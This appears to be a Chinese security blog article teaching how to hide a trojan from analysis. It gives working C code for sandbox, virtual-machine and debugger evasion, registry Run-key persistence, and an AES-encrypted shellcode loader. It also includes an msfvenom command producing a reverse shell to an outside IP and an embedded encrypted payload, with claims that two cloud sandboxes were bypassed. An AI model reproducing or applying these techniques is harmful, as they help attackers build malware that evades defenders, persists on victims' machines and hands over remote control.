木马反制与隐藏技巧

衡阳信安 · 公众号 · · 2024-08-20 01:00

正文

反沙箱

沙箱（Sandbox）是一种隔离机制，通过创建一个受控的、隔离的计算环境，允许软件在不影响宿主系统或网络的情况下运行和测试。这种技术在恶意程序分析中尤为重要，因为它能够安全地捕获和分析恶意软件的行为、特征及其对系统和网络的影响。在国内，常用的两个在线云沙箱分析平台是微步和安恒

https://s.threatbook.com/
https://sandbox.dbappsecurity.com.cn/

接下来的案例实战测试将基于这两个平台进行
在沙箱环境中，常用的应用程序（如QQ、微信、钉钉等）通常不存在。为了检测是否运行在沙箱环境中，可以写一个白名单机制。将所有常用软件的名称添加到白名单中，然后遍历当前系统中的进程。如果白名单中的程序没有一个在运行，则可以判定当前环境可能为沙箱，从而触发木马程序退出

#include 
#include 
#include 
#include 

bool is_process_running(const char* process_name) {
    bool found = false;
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return false;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
        return false;
    }

    do {
        if (strcmp(pe32.szExeFile, process_name) == 0) {
            found = true;
            break;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    return found;
}

int main() {
    if (!is_process_running("qq.exe") && !is_process_running("wechat.exe")) {
        return 0;
    }

    return 0;
}

使用 CreateToolhelp32Snapshot 函数获取系统中所有进程的快照，然后用 Process32First 函数获取第一个进程的信息， Process32Next 函数遍历剩余的进程，比较每个进程的名称（ pe32.szExeFile ）与 process_name ，如果匹配则设置 found 为 true 并退出循环

实战测试，这两个云沙箱平台都无法正常运行程序，成功绕过沙箱

反虚拟机

在手动分析恶意软件时，通常是在虚拟机环境中进行的。为检测程序是否在虚拟机中运行，可以读取特定的注册表信息。如果检测到当前程序正在虚拟机中运行，则自动退出程序，以避免分析和调试

#include 
#include 

int IsRunningInVM() {
    char szHardware[256];
    DWORD size = sizeof(szHardware);
    int isVM = 0;

    if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Enum\\IDE", "HardwareID", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
        if (strstr(szHardware, "VMware") || strstr(szHardware, "Virtual")) {
            isVM = 1;
        }
    }

    size = sizeof(szHardware);
    if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", "0", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
        if (strstr(szHardware, "VMware") || strstr(szHardware, "VBOX")) {
            isVM = 1;
        }
    }

    return isVM;
}
int main(int argc, char *argv[]) {
    if (IsRunningInVM()) {
        return 0;
    }

RegGetValueA 被调用以从注册表路径 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE 中检索 HardwareID 的值，如果调用成功（返回 ERROR_SUCCESS ），则检查检索到的字符串（ szHardware ）是否包含子字符串 "VMware" 或 "Virtual" ，如果找到任一子字符串，则将 isVM 设置为 1 ，第二个if判断同理
如果返回1，则代表程序在虚拟机里运行，执行退出指令

反调试

使用 IsDebuggerPresent 函数可以防止逆向工程工具进行动态调试

#include 
#include 

void checkDebugger() {
    if (IsDebuggerPresent()) {
        ExitProcess(1);
}

int main() {
    checkDebugger();
    return 0;
}

IsDebuggerPresent() 返回非零值，意味着检测到调试器，程序将调用 ExitProcess(1) 退出程序，实测xdbg调试程序时会触发退出

添加到开机启动项

"Software\\Microsoft\\Windows\\CurrentVersion\\Run" 是一个注册表路径，用于存储当前用户登录时自动运行的程序。我们可以将当前程序的路径写入该注册表项，以实现开机自启动功能

#include 
#include 

void add_to_startup(const char *appname, const char *path) {
    HKEY hKey;
    LONG result;

    result = RegOpenKeyEx(HKEY_CURRENT_USER,
                          "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                          0, KEY_SET_VALUE, &hKey);

    if (result != ERROR_SUCCESS) {
        return;
    }

    result = RegSetValueEx(hKey, appname, 0, REG_SZ, (BYTE *)path, strlen(path) + 1);

    RegCloseKey(hKey);
}

int main(int argc, char *argv[]) {
    char path[MAX_PATH];
    if (GetModuleFileName(NULL, path, MAX_PATH) == 0) {
        return 1;
    }
    add_to_startup("MyAppName", path);
}

实测写入注册表时只有360会有提示，火绒和defender不会弹出提示

AES混淆shellcode

首先需要cs或者msf生成raw格式的shellcode源文件，这里用msf举例

msfvenom -p  windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=8888 -f raw -o msf.bin

然后用python脚本生成aes加密的key和加密后的shellcode

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib

def AESencrypt(plaintext, key):
    k = hashlib.sha256(KEY).digest()
    iv = 16 * b'\x00'
    plaintext = pad(plaintext, AES.block_size)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext,key


def printResult(key, ciphertext):
    print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
    print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')

try:
    file = open(sys.argv[1], "rb")
    content = file.read()
except:
    print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
    sys.exit()


KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)

printResult(KEY,ciphertext)

在木马里写入aes解密脚本即可

#include 
#include 
#include 
#include 
#include 
#include 
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")

void aes(char* code, DWORD codeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);
}
int main(int argc, char *argv[]) {
        unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
        unsigned char code[] = {0xa0, 0x82, 0xa3, 0xbf, 0xce, 0xd5, 0xd5, 0xce, 0x0, 0xf8, 0xc1, 0x34, 0x7f, 0x39, 0xcf, 0xdb, 0xf2, 0xd3, 0x72, 0x2c, 0xf2, 0x8c, 0xf7, 0xc4, 0xaf, 0x66, 0xb7, 0x82, 0xb8, 0xbe, 0x3, 0x31, 0xfc, 0x3d, 0x58, 0xd0, 0x99, 0xda, 0xdf, 0xc2, 0x3, 0xd, 0xa3, 0x3d, 0x59, 0xb, 0x73, 0x4b, 0x38, 0xa6, 0x1e, 0xd7, 0xd7, 0x9f, 0x63, 0x84, 0xb8, 0xe2, 0x0, 0x53, 0x21, 0x7f, 0x17, 0x67, 0xfc, 0xc7, 0xd0, 0x72, 0x5e, 0x86, 0xff, 0xa4, 0x8d, 0x47, 0x53, 0xa0, 0x4, 0xee, 0x6e, 0x16, 0xe9, 0x4e, 0x15, 0x2, 0x6a, 0x84, 0x8c, 0x59, 0xd1, 0xb0, 0x16, 0x3b, 0x78, 0x6a, 0x4a, 0x16, 0xfe, 0x44, 0x47, 0x4e, 0x86, 0x97, 0xb6, 0x3b, 0xaa, 0xff, 0xab, 0x4, 0x80, 0x54, 0x5e, 0xbd, 0x8f, 0x88, 0x8c, 0x34, 0xdb, 0xe8, 0xfd, 0x49, 0xe9, 0x16, 0x1f, 0xff, 0x64, 0xb3, 0xe0, 0xce, 0x43, 0xb1, 0x6f, 0x55, 0xba, 0x68, 0x30, 0xc8, 0x77, 0x63, 0xc9, 0xf0, 0x23, 0x75, 0xe, 0x82, 0xc2, 0x76, 0x87, 0x3e, 0x43, 0xcd, 0x3b, 0xb6, 0x97, 0x33, 0x2, 0x7c, 0x12, 0x5e, 0xd3, 0x74, 0x85, 0xc5, 0x24, 0x42, 0x45, 0x53, 0xda, 0x4a, 0x3e, 0x95, 0x40, 0x57, 0x8d, 0xd5, 0x70, 0x6, 0xb8, 0x3f, 0xa4, 0x67, 0x4, 0x42, 0xaa, 0x61, 0x31, 0x70, 0x2a, 0x28, 0x9, 0x70, 0xdd, 0xd1, 0xf2, 0x73, 0xd2, 0x2f, 0x38, 0xd4, 0x22, 0xab, 0x68, 0xd2, 0x63, 0x47, 0xb3, 0x3a, 0xee, 0xa9, 0x6f, 0x53, 0x83, 0xb6, 0x4e, 0x25, 0xbf, 0x18, 0x41, 0xf8, 0x3e, 0xcd, 0x3b, 0x97, 0x8, 0xb3, 0x18, 0x5c, 0x59, 0xbf, 0xc6, 0x7a, 0xa, 0x6d, 0x80, 0x9b, 0xa3, 0x24, 0x89, 0x8, 0x6a, 0x27, 0x1a, 0x25, 0x92, 0x12, 0x81, 0x57, 0x90, 0x6, 0x17, 0x92, 0xaa, 0x7e, 0x5d, 0x7, 0xf8, 0xd1, 0x38, 0x74, 0x4f, 0xab, 0xb2, 0xc1, 0x15, 0xf8, 0x65, 0xf1, 0x59, 0x68, 0x0, 0x14, 0x58, 0x86, 0xcf, 0xc4, 0x3a, 0x3b, 0xbb, 0xc1, 0xc5, 0xdb, 0xef, 0x22, 0x85, 0x5, 0xdc, 0x89, 0x1e, 0xc6, 0x50, 0x81, 0x8, 0xd, 0x22, 0xab, 0xd8, 0x7d, 0xc6, 0x3c, 0xad, 0x49, 0x10, 0xdf, 0x6e, 0x92, 0x88, 0x99, 0xb8, 0x5d, 0xa6, 0xe3, 0x2d, 0xb7, 0x4c, 0xc6, 0xbb, 0xce, 0xd5, 0x4c, 0x5f, 0x7c, 0x22, 0xcb, 0xe7, 0x56, 0x12, 0xd9, 0xe6, 0x43, 0x3e, 0xa7, 0xc2, 0xca, 0xf6, 0x11, 0x10, 0x2b, 0xd5, 0xa9, 0xe2, 0x9d, 0x53, 0xb3, 0xcf, 0x46, 0xca, 0x65, 0xb0, 0x3a, 0xa4, 0x29, 0x18, 0x53, 0x68, 0xfc, 0xe6, 0xcf, 0xa6, 0xdb, 0x80, 0xae, 0x84, 0x98, 0x99, 0x2e, 0x88, 0xac, 0x7, 0x75, 0x35, 0x9d, 0x24, 0x59, 0x6b, 0x4f, 0x78, 0x34, 0xef, 0x2b, 0x19, 0x72, 0x34, 0x1a, 0x52, 0x46, 0xe9, 0x50, 0x26, 0x12, 0xee, 0x10, 0xd, 0x6d, 0x3, 0x8b, 0x73, 0x21, 0x11, 0x22, 0x3d, 0x17, 0xe2, 0x39, 0x5c, 0x6, 0xd7, 0x21, 0xad, 0xd1, 0x8f, 0xd2, 0x5f, 0xd2, 0xeb, 0x20, 0xd1, 0x1c, 0x7c, 0x64, 0xb9, 0xa9, 0x76, 0x1d, 0xfa, 0xbc, 0x10, 0x13, 0x67, 0x8f, 0x71, 0xf9, 0x1d, 0x74, 0xb5, 0xf2, 0xd6, 0xed, 0xd4, 0xcf, 0xc, 0x4f, 0xb1, 0x3, 0x7b, 0x6f, 0x55, 0x13, 0x62, 0x1c, 0x3b, 0x17, 0xe6, 0xa2, 0xbf, 0x23, 0x5d, 0x5, 0x7a, 0x9d, 0x39, 0x87, 0x51, 0x13, 0xd9, 0xae, 0xbb, 0xb, 0xa8, 0xfd, 0x6c, 0x55, 0xde, 0x18, 0x4c, 0x98, 0xe1, 0x31, 0x7b, 0xd1, 0x37, 0xbd, 0x91, 0xc6, 0x63, 0x92, 0x61, 0xb9, 0x75, 0xb4, 0xdc, 0xcf, 0xb9, 0xfe, 0x5b, 0xb4, 0x5d, 0xd4, 0x22, 0x6e, 0x8d, 0xc0, 0xd, 0xce, 0x97, 0xd8, 0x8b, 0x40, 0x5c, 0x1c, 0xcb, 0x3, 0xb8, 0xe9, 0x30, 0x49, 0x95, 0xe0, 0x3d, 0x13, 0xd, 0x14, 0x15, 0xb9, 0x6b, 0xbd, 0x9, 0xfc, 0x77, 0x4d, 0xac, 0xb, 0x28, 0x69, 0xd5, 0xec, 0x7, 0x47, 0x50, 0x2, 0x9c, 0x10, 0x11, 0xf7, 0xe, 0x55, 0x4, 0xa3, 0x7e, 0x5b, 0x96, 0x36, 0x6b, 0x62, 0xf6, 0x65, 0x18, 0x44, 0x82, 0x52, 0x98, 0x98, 0x9f, 0x8e, 0x5f, 0xc1, 0x92, 0x56, 0xc0, 0xb4, 0x54, 0x8c, 0x65, 0xfe, 0xb6, 0xc6, 0x26, 0x4, 0x9e, 0xf0, 0xa7, 0x75, 0x95, 0x1e, 0x8e, 0xd1, 0xb0, 0x41, 0x83, 0xe, 0x79, 0xa9, 0x1b, 0x28, 0x68, 0x75, 0x8a, 0xd0, 0x38, 0x8b, 0x47, 0x5a, 0xc2, 0xe, 0x6d, 0x96, 0x6e, 0xe7, 0x45, 0xe1, 0x7e, 0x95, 0x80, 0xf3, 0xc4, 0xce, 0xc5, 0x11, 0x70, 0x63, 0x36, 0x79, 0x5c, 0x9e, 0x4f, 0x35, 0xe2, 0x6d, 0x28, 0x4, 0x9d, 0xdb, 0x2a, 0x2d, 0x8b, 0x5f, 0xcf, 0xb0, 0xda, 0xab, 0x10, 0x9b, 0xec, 0xaf, 0x13, 0x34, 0xe8, 0x65, 0x2b, 0x6f, 0xf4, 0xc9, 0x43, 0x35, 0x6c, 0x56, 0x2f, 0xa9};

木马反制与隐藏技巧

正文

反沙箱

反调试

添加到开机启动项

AES混淆shellcode

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